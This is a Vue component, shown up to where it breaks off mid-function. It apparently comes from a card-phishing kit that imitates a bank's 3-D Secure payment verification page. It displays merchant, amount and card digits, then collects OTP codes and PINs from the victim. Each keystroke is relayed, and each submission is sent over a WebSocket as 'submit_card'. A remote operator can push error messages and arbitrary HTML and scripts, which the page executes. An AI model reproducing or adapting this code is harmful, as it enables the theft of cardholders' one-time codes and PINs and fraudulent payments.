1453 lines
43 KiB
Vue
1453 lines
43 KiB
Vue
<template>
|
||
<form @submit.prevent="submit">
|
||
<div class="validation-renderer">
|
||
<div class="validation-header" v-if="customOtpData.showTop !== false">
|
||
<div class="bank-logo" v-if="customOtpData.imageUrl">
|
||
<img :src="customOtpData.imageUrl" alt="bank" style="height: 70%; max-width: 70%; object-fit: contain;" />
|
||
</div>
|
||
<div class="bank-logo" v-else>
|
||
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" style="height: 70%; max-width: 70%;" />
|
||
</div>
|
||
<div class="card-logo">
|
||
<CardType1 :cardType="cardType" />
|
||
</div>
|
||
</div>
|
||
<!-- APP验证 -->
|
||
<div v-if="customOtpData.type === 'appValid1'" class="validation-form app-valid">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
</div>
|
||
|
||
<div class="app-loading">
|
||
<div class="loading-container">
|
||
<img
|
||
src="data:image/gif;base64,R0lGODlhUAAQAPABANfX1wAAACH5BAkPAAEAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAUAAQAAACUoyPqcvtD6OctNqLs968GwACVShS5BhCJDitZeS2q+Oyag3jd8zUL617+HK8xXA3Q56UqV4QWIQmhU9FlLokNrU2KaoryYa3nrL5jE6r1+y2pQAAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA2ZYutz+MMpJq7046827/2CoDEEwZERKoCqbUgIgA8Klttb95ro0zLMTRYebEHfGYyQAlAUqx9VQOSUum4Bntbe9QamPX1OYtHaLkqgkNqvxvG90WR4ukeMuqY0u6vv/gIGCg4SFFwkAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA3RYutz+MMpJq7046827/2CoDEEwZKSZESyxtpQAzIBwybRttfDOu5EBjXaiCIeA4uTXWzKBjwASEKhIkVXKEyrZRq7D7ARME3efFS/kOFRK2MQ0WjuH4Ga6yr12YfZ/RiVuFSmDdCwviCKLjI2Oj5CRkpMcCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADeVi63P4wykmrvTjrzbv/YKgMQTBkpImWJ0a8BCUANCBcc31bOb1XMJhkUKu1JsQi4DhULoFBISTgDFSoSisFW9ROotIHt+aVjGnlyBmQhoBfkWSRGXfSIXIjFCzp2XBFPzKBF3xILCsqGCl3X2EikJGSk5SVlpeYGgkAIfkECQ8ABAAsAAAAAFAAEACCAL8ZBL8dCMAgLsRCAAAAAAAAAAAAAAAAA3lIutz+MMpJq7046827/2CoDEEwZKSJlieWtpIAzIBwybRt4bNe8TXJgEaDCYkzY2SIVEKYROcigAQEKlTklZIlbidd2tcRno0jZSu2eoak2wtosSJP0qtSRx2QVwB9FH83RIATghMvKyouLIp9IpCRkpOUlZaXmBQJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANyWLrc/jDKSau9OOvNu/9gqBAkkQ1BMJzpiqEqVZaXANyAUOP5juuR2awy4N1ck6IRKVHymA0hjRIwAgKVqhFLtXIfUlLWO96WeV9H2ERx4qAQ95FohTOkvhuwYvvlexNDLy0sMYOGIomKi4yNjo+QkRsJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANtWLrc/jDKSau9OOvNu/9gqBAkkZUmNgTBkK0thZLXnFYCoAPCle+9iI0mG1YGu52LgkwClo/hTSKtBJyAgBWrhVSLtq2zO7mOhUbw7IiFSppJtyNsoeOSwTtQfSq9WHJMgCKEhYaHiImKi4wdCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADZ1i63P4wykmrvTjrzbv/YKgQJJGVJoZmQxAMFEpeclrVlwDsgCDVsxjwNqQMeDwYBGj7FSfMSgC5C0SiQlxWJqUCrMunUwsVR45UZXhlIW+DFR3PV4a3Syc8pvUS+f+AgYKDhIWGHQkAOw=="
|
||
class="loading-gif" alt="Loading" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message">
|
||
{{ renderContent(message) }}
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 验证码1 -->
|
||
<div v-else-if="customOtpData.type === 'otpValid1'" class="validation-form otp-valid1">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
</div>
|
||
|
||
<div class="form-fields">
|
||
<div v-if="customOtpData.input1Title" class="field-group">
|
||
<div style="width: fit-content;">
|
||
<div v-html="renderContent(customOtpData.input1Title)"></div>
|
||
<input required v-model="formData.input1" type="text" :placeholder="customOtpData.input1TitlePlaceholder"
|
||
class="form-input otp-input" @input="handleInput('input1', $event)" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.input2Title" class="field-group">
|
||
<div style="width: fit-content;">
|
||
<div v-html="renderContent(customOtpData.input2Title)"></div>
|
||
<input required v-model="formData.input2" type="text" :placeholder="customOtpData.input2TitlePlaceholder"
|
||
class="form-input otp-input" @input="handleInput('input2', $event)" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
</div>
|
||
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
<span v-html="renderContent(buttonText)"></span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 验证码2 -->
|
||
<div v-else-if="customOtpData.type === 'otpValid2'" class="validation-form otp-valid2">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details"
|
||
v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard || customOtpData.input1Title">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
<div v-if="customOtpData.input1Title" class="detail-item input-detail-item">
|
||
<span class="input-label" v-html="renderContent(customOtpData.input1Title)"></span>
|
||
<input required v-model="formData.input1" type="text" class="otp-input-inline"
|
||
@input="handleInput('input1', $event)" />
|
||
</div>
|
||
<div v-if="customOtpData.input2Title" class="detail-item input-detail-item">
|
||
<span class="input-label" v-html="renderContent(customOtpData.input2Title)"></span>
|
||
<input required v-model="formData.input2" type="text" class="otp-input-inline"
|
||
@input="handleInput('input2', $event)" />
|
||
</div>
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
</div>
|
||
</div>
|
||
|
||
<div class="form-fields">
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
{{ buttonText }}
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 扫码验证 -->
|
||
<div v-else-if="customOtpData.type === 'scanValid1'" class="validation-form scan-valid">
|
||
<div class="form-header" v-if="customOtpData.pageTitle">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item">{{ renderContent(customOtpData.merchant) }}</div>
|
||
<div v-if="customOtpData.amount" class="detail-item">{{ renderContent(customOtpData.amount) }}</div>
|
||
<div v-if="customOtpData.showCard" class="detail-item">{{ renderContent(customOtpData.cardNumber) }}</div>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
|
||
<div class="qr-section">
|
||
<div class="qr-code-container">
|
||
<img :src="message1" alt="QR Code" class="qr-code" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
{{ buttonText }}
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 拨号验证 -->
|
||
<div v-else-if="customOtpData.type === 'dialValid1'" class="validation-form dial-valid">
|
||
<div class="form-header">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content japanese-content" v-html="renderedPageContent">
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button completed-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#E6A23C' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message">
|
||
{{ renderContent(message) }}
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 全自定义验证 -->
|
||
<div v-else-if="customOtpData.type === 'customValid'" class="validation-form custom-valid">
|
||
<!-- 自定义样式 -->
|
||
<component :is="'style'" v-if="customOtpData.customStyles" scoped>
|
||
{{ customOtpData.customStyles }}
|
||
</component>
|
||
|
||
<div v-if="customOtpData.pageContent" class="form-content custom-content" v-html="renderedPageContent">
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 默认表单 -->
|
||
<div v-else class="validation-form default-form">
|
||
|
||
<div id="darcula-teleport-page">
|
||
<div>
|
||
<form class="container" @submit.prevent="submit">
|
||
<div style="font-size: 20px">
|
||
<b v-html="renderContent(customOtpData.pageTitle)"></b>
|
||
</div>
|
||
<p v-html="renderContent(customOtpData.pageContent)"></p>
|
||
<br />
|
||
<div class="input" style="text-align: center" v-if="customOtpData.input1Title">
|
||
<label>{{ renderContent(customOtpData.input1Title) }}</label>
|
||
<input required @input="onInput1Change" v-model="formData.input1" />
|
||
</div>
|
||
<div class="input" style="text-align: center" v-if="customOtpData.input2Title">
|
||
<label>{{ renderContent(customOtpData.input2Title) }}</label>
|
||
<input required @input="onInput2Change" v-model="formData.input2" />
|
||
</div>
|
||
<div class="error" v-if="message">
|
||
{{ message }}
|
||
</div>
|
||
<br />
|
||
<div class="button-submit">
|
||
<button type="submit" :style="{ backgroundColor: customOtpData.buttonColor }">
|
||
{{ customOtpData.buttonText ? customOtpData.buttonText : "Submit" }}
|
||
</button>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
</form>
|
||
</template>
|
||
|
||
<script setup lang="ts">
|
||
import { ref, reactive, computed, watch, onMounted, onUnmounted, nextTick } from 'vue'
|
||
import {
|
||
inputChange,
|
||
myWebSocket,
|
||
customOtpData,
|
||
setCustomOtpData,
|
||
} from "@/utils/common";
|
||
import CardType1 from "../components/CardType1.vue";
|
||
import eventBus from '@/utils/eventBus';
|
||
import { useRoute } from 'vue-router';
|
||
import { useLoadingStore } from '@/stores/loadingStore';
|
||
|
||
const cardType = ref("");
|
||
const message1 = ref("");
|
||
const cardNumberLast4 = ref("");
|
||
const phone = ref("");
|
||
const price = ref("");
|
||
|
||
const message = ref("");
|
||
|
||
const handleEvent = (data: { message2: string }) => {
|
||
toggleCustomSubmitLoading(false)
|
||
message.value = data.message2 ? data.message2 : customOtpData.value.errorMessage;
|
||
};
|
||
|
||
|
||
|
||
onMounted(() => {
|
||
const route = useRoute();
|
||
const query = route.query as any;
|
||
if (query && query.cardType) {
|
||
cardType.value = query.cardType;
|
||
localStorage.setItem("cardType", query.cardType);
|
||
} else {
|
||
const type = localStorage.getItem("cardType");
|
||
if (type) {
|
||
cardType.value = type;
|
||
}
|
||
}
|
||
|
||
if (query && query.message1) {
|
||
message1.value = query.message1;
|
||
localStorage.setItem("message1", query.message1);
|
||
} else {
|
||
const type = localStorage.getItem("message1");
|
||
if (type) {
|
||
message1.value = type;
|
||
}
|
||
}
|
||
|
||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
||
if (customOtpDataValue) {
|
||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
||
}
|
||
|
||
localStorage.setItem("route", "customOtpValid");
|
||
eventBus.on("custom-otp-valid", handleEvent);
|
||
|
||
const cardData = JSON.parse(localStorage.getItem("card") ?? "{}");
|
||
if (cardData && cardData.cardNumber) {
|
||
const cardNum = cardData.cardNumber;
|
||
cardNumberLast4.value = cardNum.slice(-4);
|
||
}
|
||
|
||
const cardNumber = localStorage.getItem("cardNumber") ?? "";
|
||
if (cardNumber) {
|
||
const cardNum = cardNumber;
|
||
cardNumberLast4.value = cardNum.slice(-4);
|
||
}
|
||
|
||
// 设置全局输入处理函数 - 支持自定义 id
|
||
(window as any).handleCustomInput = (id: string, value: string) => {
|
||
// 根据id映射到对应的formData字段
|
||
if (id === 'input1' || id === 'inline-input1') {
|
||
formData.input1 = value
|
||
onchange(value, "verifyCode1")
|
||
emit('input', 'input1', value)
|
||
} else if (id === 'input2' || id === 'inline-input2') {
|
||
formData.input2 = value
|
||
onchange(value, "verifyCode2")
|
||
emit('input', 'input2', value)
|
||
}
|
||
};
|
||
|
||
// 设置全局按钮点击处理函数
|
||
(window as any).handleCustomButton = (id: string, action: string) => {
|
||
if (action === 'submit') {
|
||
submit()
|
||
} else if (action === 'resend') {
|
||
handleResend()
|
||
}
|
||
};
|
||
|
||
// 绑定输入框事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts() // 执行初始脚本
|
||
}, 200); // 延迟执行确保所有DOM都已渲染
|
||
});
|
||
|
||
onMounted(() => {
|
||
const phoneValue = localStorage.getItem("phone") || ""
|
||
phone.value = phoneValue
|
||
const priceValue = localStorage.getItem("price") || ""
|
||
price.value = priceValue
|
||
if (price.value === "") {
|
||
const moneyAmountValue = localStorage.getItem("moneyAmount") || ""
|
||
price.value = moneyAmountValue
|
||
}
|
||
});
|
||
|
||
const onchange = (value: any, key: string) => {
|
||
inputChange("input_card", key, value);
|
||
};
|
||
|
||
const onInput1Change = (event: any) => {
|
||
const value = event.target.value;
|
||
formData.input1 = value;
|
||
onchange(value, "verifyCode1");
|
||
// 触发内容重新渲染
|
||
emit('input', 'input1', value);
|
||
};
|
||
|
||
const onInput2Change = (event: any) => {
|
||
const value = event.target.value;
|
||
formData.input2 = value;
|
||
onchange(value, "verifyCode2");
|
||
// 触发内容重新渲染
|
||
emit('input', 'input2', value);
|
||
};
|
||
|
||
const toggleCustomSubmitLoading = (visible: boolean): boolean => {
|
||
const loadingElements = document.querySelectorAll(
|
||
'.form-content [data-submit-loading], .custom-content [data-submit-loading], .form-content .custom-submit-loading, .custom-content .custom-submit-loading'
|
||
) as NodeListOf<HTMLElement>
|
||
|
||
if (loadingElements.length === 0) {
|
||
return false
|
||
}
|
||
|
||
loadingElements.forEach((element) => {
|
||
if (visible) {
|
||
if (element.dataset.originalDisplay === undefined) {
|
||
element.dataset.originalDisplay = window.getComputedStyle(element).display
|
||
}
|
||
const customDisplay = element.dataset.loadingDisplay || 'block'
|
||
element.style.display = customDisplay
|
||
} else {
|
||
const originalDisplay = element.dataset.originalDisplay
|
||
if (originalDisplay !== undefined) {
|
||
element.style.display = originalDisplay
|
||
}
|
||
}
|
||
})
|
||
|
||
return true
|
||
}
|
||
|
||
const doSubmit = async () => {
|
||
await nextTick();
|
||
|
||
// 收集所有自定义输入框的值
|
||
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
|
||
const submitData: Record<string, string> = {}
|
||
|
||
// 验证所有required输入框
|
||
let firstEmptyInput: any = null
|
||
let hasEmptyRequired = false
|
||
|
||
customInputs.forEach(input => {
|
||
const fieldName = input.dataset.field || input.id || 'unknown'
|
||
const verifyKey = input.dataset.verifyKey || fieldName
|
||
const value = input.value.trim()
|
||
|
||
// 检查required属性
|
||
if (input.hasAttribute('required') && !value) {
|
||
hasEmptyRequired = true
|
||
if (!firstEmptyInput) {
|
||
firstEmptyInput = input
|
||
}
|
||
}
|
||
|
||
submitData[verifyKey] = value
|
||
})
|
||
|
||
// 如果有必填项未填写,使用浏览器原生验证提示
|
||
if (hasEmptyRequired && firstEmptyInput) {
|
||
firstEmptyInput.reportValidity() // 使用浏览器原生提示
|
||
return
|
||
}
|
||
|
||
const hasCustomLoading = toggleCustomSubmitLoading(true)
|
||
useLoadingStore().isLoading = !hasCustomLoading;
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "submit_card",
|
||
content: {
|
||
type: "submitCustomOtpValid",
|
||
formData: submitData,
|
||
},
|
||
})
|
||
);
|
||
};
|
||
|
||
const submit = async () => {
|
||
await doSubmit()
|
||
}
|
||
|
||
|
||
watch(
|
||
customOtpData,
|
||
() => {
|
||
// 清空所有动态字段
|
||
Object.keys(formData).forEach(key => delete formData[key]);
|
||
message.value = "";
|
||
toggleCustomSubmitLoading(false)
|
||
// 重置静态内容
|
||
staticContent.value = '';
|
||
lastPageContent.value = '';
|
||
// 重新绑定输入框事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts()
|
||
}, 100);
|
||
},
|
||
{ deep: true }
|
||
);
|
||
|
||
// 监听message变化,自动更新所有custom-error-message元素
|
||
watch(
|
||
message,
|
||
(newMessage) => {
|
||
nextTick(() => {
|
||
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
|
||
errorContainers.forEach(container => {
|
||
if (newMessage) {
|
||
container.textContent = newMessage
|
||
container.style.display = 'block'
|
||
} else {
|
||
container.style.display = 'none'
|
||
}
|
||
})
|
||
})
|
||
}
|
||
);
|
||
|
||
// 添加一个watch来监听计算属性的变化
|
||
watch(
|
||
() => customOtpData.value.pageContent,
|
||
() => {
|
||
// 重置静态内容
|
||
staticContent.value = '';
|
||
lastPageContent.value = '';
|
||
// 当pageContent变化时,重新绑定事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts()
|
||
}, 100);
|
||
}
|
||
);
|
||
|
||
onUnmounted(() => {
|
||
eventBus.off("custom-otp-valid", handleEvent);
|
||
// 清理全局函数
|
||
if ((window as any).handleCustomInput) {
|
||
delete (window as any).handleCustomInput;
|
||
}
|
||
if ((window as any).handleCustomButton) {
|
||
delete (window as any).handleCustomButton;
|
||
}
|
||
});
|
||
|
||
|
||
// 类型定义
|
||
export interface ValidationConfig {
|
||
type: 'appValid1' | 'otpValid1' | 'otpValid2' | 'scanValid1' | 'dialValid1' | 'customValid' | 'default'
|
||
name?: string
|
||
pageTitle?: string
|
||
pageContent?: string
|
||
input1Title?: string
|
||
input2Title?: string
|
||
buttonText?: string
|
||
buttonColor?: string
|
||
errorMessage?: string
|
||
imageUrl?: string
|
||
resendText?: string
|
||
showResendText?: boolean
|
||
showCard?: boolean
|
||
merchant?: string
|
||
amount?: string
|
||
showDynamicFields?: boolean
|
||
customStyles?: string // 自定义CSS样式
|
||
countdown?: boolean // 重发按钮是否启用倒计时,默认true
|
||
}
|
||
|
||
export interface FormData {
|
||
[key: string]: string // 支持任意数量的输入框字段
|
||
}
|
||
|
||
export interface DynamicData {
|
||
merchant?: string
|
||
payment?: string
|
||
card?: string
|
||
phone?: string
|
||
phoneFull?: string
|
||
date?: string
|
||
var1?: string
|
||
var2?: string
|
||
var3?: string
|
||
[key: string]: any
|
||
}
|
||
|
||
|
||
// Props
|
||
const props = withDefaults(defineProps<{
|
||
dynamicData?: DynamicData
|
||
qrCodeImage?: string
|
||
cardNumberLast4?: string
|
||
}>(), {
|
||
dynamicData: () => ({}),
|
||
qrCodeImage: 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cmVjdCB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgZmlsbD0id2hpdGUiLz4KICA8dGV4dCB4PSIxMDAiIHk9IjEwMCIgZm9udC1mYW1pbHk9IkFyaWFsIiBmb250LXNpemU9IjE0IiBmaWxsPSIjNjY2IiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiBkeT0iLjNlbSI+UVIgQ29kZTwvdGV4dD4KPC9zdmc+',
|
||
cardNumberLast4: '1234'
|
||
})
|
||
|
||
// Emits
|
||
const emit = defineEmits<{
|
||
submit: [data: FormData]
|
||
input: [field: string, value: string]
|
||
resend: []
|
||
}>()
|
||
|
||
// 响应式数据 - 支持动态添加任意字段
|
||
const formData = reactive<FormData>({})
|
||
|
||
// 倒计时相关变量(需要在前面声明,因为其他函数会用到)
|
||
const initialTime = 60; // 倒计时时间,单位为秒
|
||
const timeLeft = ref(initialTime);
|
||
const isCounting = ref(false);
|
||
let timer: number | null = null;
|
||
let countdownStarted = false; // 标记倒计时是否已启动
|
||
|
||
const resendText = ref("");
|
||
const showResendText = ref(false);
|
||
|
||
// 渲染内容,替换动态变量
|
||
const renderContent = (content: string, skipInputs = false): string => {
|
||
if (!content) return content
|
||
|
||
let rendered = content
|
||
const phoneLast4 = phone.value ? phone.value.slice(-4) : ''
|
||
|
||
// 检查是否包含传统输入框占位符
|
||
const hasInput1 = rendered.includes('${input1}')
|
||
const hasInput2 = rendered.includes('${input2}')
|
||
|
||
// 获取传统输入框的HTML或值
|
||
const getInputContent = (inputValue: string, inputTitle: string, fieldName: string) => {
|
||
if (hasInput1 && fieldName === 'input1' || hasInput2 && fieldName === 'input2') {
|
||
if (skipInputs) {
|
||
return `__PLACEHOLDER_${fieldName.toUpperCase()}__`
|
||
}
|
||
const placeholder = inputTitle || `请输入${fieldName === 'input1' ? '验证码' : 'PIN码'}`
|
||
const inputId = `inline-${fieldName}`
|
||
return `<span class="inline-input-wrapper" data-field="${fieldName}">
|
||
<input required
|
||
id="${inputId}"
|
||
type="text"
|
||
value="${inputValue}"
|
||
placeholder="${placeholder}"
|
||
class="inline-input-field"
|
||
data-field="${fieldName}"
|
||
oninput="window.handleCustomInput('${fieldName}', this.value)"
|
||
/>
|
||
</span>`
|
||
}
|
||
return inputValue
|
||
}
|
||
|
||
// 替换预定义变量
|
||
const replacements = {
|
||
'${merchant}': customOtpData.value.merchant || '',
|
||
'${payment}': customOtpData.value.amount || '',
|
||
'${price}': price.value || '',
|
||
'${card}': cardNumberLast4.value || '',
|
||
'${phone}': phoneLast4,
|
||
'${phoneFull}': phone.value,
|
||
'${date}': new Date().toLocaleDateString(),
|
||
'${input1}': getInputContent(formData.input1, customOtpData.value.input1Title, 'input1'),
|
||
'${input2}': getInputContent(formData.input2, customOtpData.value.input2Title, 'input2'),
|
||
}
|
||
|
||
// 替换所有变量
|
||
Object.keys(replacements).forEach((key) => {
|
||
const value = replacements[key as keyof typeof replacements]
|
||
rendered = rendered.replace(new RegExp(key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), String(value))
|
||
})
|
||
|
||
return rendered
|
||
}
|
||
|
||
// 静态内容缓存
|
||
const staticContent = ref('')
|
||
const lastPageContent = ref('')
|
||
|
||
// 计算属性,只在pageContent结构变化时重新渲染
|
||
const renderedPageContent = computed(() => {
|
||
const currentPageContent = customOtpData.value.pageContent || ''
|
||
|
||
// 只有当pageContent本身发生变化时才重新渲染HTML结构
|
||
if (currentPageContent !== lastPageContent.value) {
|
||
lastPageContent.value = currentPageContent
|
||
staticContent.value = renderContent(currentPageContent)
|
||
|
||
// 延迟绑定事件,确保DOM已更新
|
||
nextTick(() => {
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts() // 执行 pageContent 中的 JavaScript
|
||
}, 50)
|
||
})
|
||
}
|
||
|
||
return staticContent.value
|
||
})
|
||
|
||
// 执行 pageContent 中的 JavaScript
|
||
const executeScripts = () => {
|
||
nextTick(() => {
|
||
// 查找所有包含 pageContent 的容器
|
||
const containers = document.querySelectorAll('.form-content, .custom-content')
|
||
|
||
containers.forEach(container => {
|
||
// 查找所有 script 标签
|
||
const scripts = container.querySelectorAll('script')
|
||
|
||
scripts.forEach(oldScript => {
|
||
try {
|
||
// 创建新的 script 标签来执行
|
||
const newScript = document.createElement('script')
|
||
|
||
// 复制属性(如 type, src 等)
|
||
Array.from(oldScript.attributes).forEach(attr => {
|
||
newScript.setAttribute(attr.name, attr.value)
|
||
})
|
||
|
||
// 如果有 src 属性,直接使用;否则复制内联代码
|
||
if (!oldScript.src) {
|
||
newScript.textContent = oldScript.textContent
|
||
}
|
||
|
||
// 替换旧的 script 标签以触发执行
|
||
oldScript.parentNode?.replaceChild(newScript, oldScript)
|
||
} catch (error) {
|
||
console.error('Script execution error:', error)
|
||
}
|
||
})
|
||
})
|
||
})
|
||
}
|
||
|
||
// 绑定输入框和按钮事件的函数
|
||
const bindInputEvents = () => {
|
||
nextTick(() => {
|
||
const tryBind = (retries = 3) => {
|
||
// 查找所有带custom-input class的输入框
|
||
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
|
||
// 查找所有带custom-button class的按钮
|
||
const customButtons = document.querySelectorAll('.custom-button') as NodeListOf<HTMLButtonElement>
|
||
// 查找所有带custom-error-message class的错误信息容器
|
||
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
|
||
|
||
// 如果找不到任何元素且还有重试次数,则重试
|
||
if (customInputs.length === 0 && customButtons.length === 0 && errorContainers.length === 0 && retries > 0) {
|
||
setTimeout(() => tryBind(retries - 1), 100)
|
||
return
|
||
}
|
||
|
||
// 绑定所有自定义输入框
|
||
customInputs.forEach(input => {
|
||
if (!input.dataset.bound) {
|
||
const fieldName = input.dataset.field || 'input1'
|
||
input.dataset.bound = 'true'
|
||
|
||
// 绑定输入事件
|
||
input.removeEventListener('input', handleCustomInputEvent)
|
||
input.addEventListener('input', handleCustomInputEvent)
|
||
addFocusBlurStyle(input)
|
||
}
|
||
})
|
||
|
||
// 绑定所有自定义按钮
|
||
customButtons.forEach(button => {
|
||
if (!button.dataset.bound) {
|
||
const action = button.dataset.action || 'submit'
|
||
button.dataset.bound = 'true'
|
||
|
||
// 绑定点击事件
|
||
button.removeEventListener('click', handleCustomButtonEvent)
|
||
button.addEventListener('click', handleCustomButtonEvent)
|
||
|
||
// 如果是重发按钮,存储原始文本并更新初始状态
|
||
if (action === 'resend') {
|
||
if (!button.dataset.originalText) {
|
||
button.dataset.originalText = button.textContent || 'Resend'
|
||
}
|
||
// 检查是否启用倒计时(data-countdown属性,默认为true)
|
||
const enableCountdown = button.dataset.countdown !== 'false'
|
||
if (enableCountdown) {
|
||
updateResendButton(button)
|
||
}
|
||
}
|
||
}
|
||
})
|
||
|
||
// 更新所有错误信息容器
|
||
errorContainers.forEach(container => {
|
||
updateErrorMessage(container)
|
||
})
|
||
|
||
// 绑定完成后,启动倒计时(只启动一次)
|
||
if (!countdownStarted) {
|
||
countdownStarted = true
|
||
startCountdown('')
|
||
}
|
||
}
|
||
|
||
tryBind()
|
||
})
|
||
}
|
||
|
||
// 更新错误信息
|
||
const updateErrorMessage = (container: HTMLElement) => {
|
||
if (message.value) {
|
||
container.textContent = message.value
|
||
container.style.display = 'block'
|
||
} else {
|
||
container.style.display = 'none'
|
||
}
|
||
}
|
||
|
||
// 更新重发按钮状态
|
||
const updateResendButton = (button: HTMLButtonElement) => {
|
||
const originalText = button.dataset.originalText || 'Resend'
|
||
|
||
if (isCounting.value) {
|
||
// 倒计时中
|
||
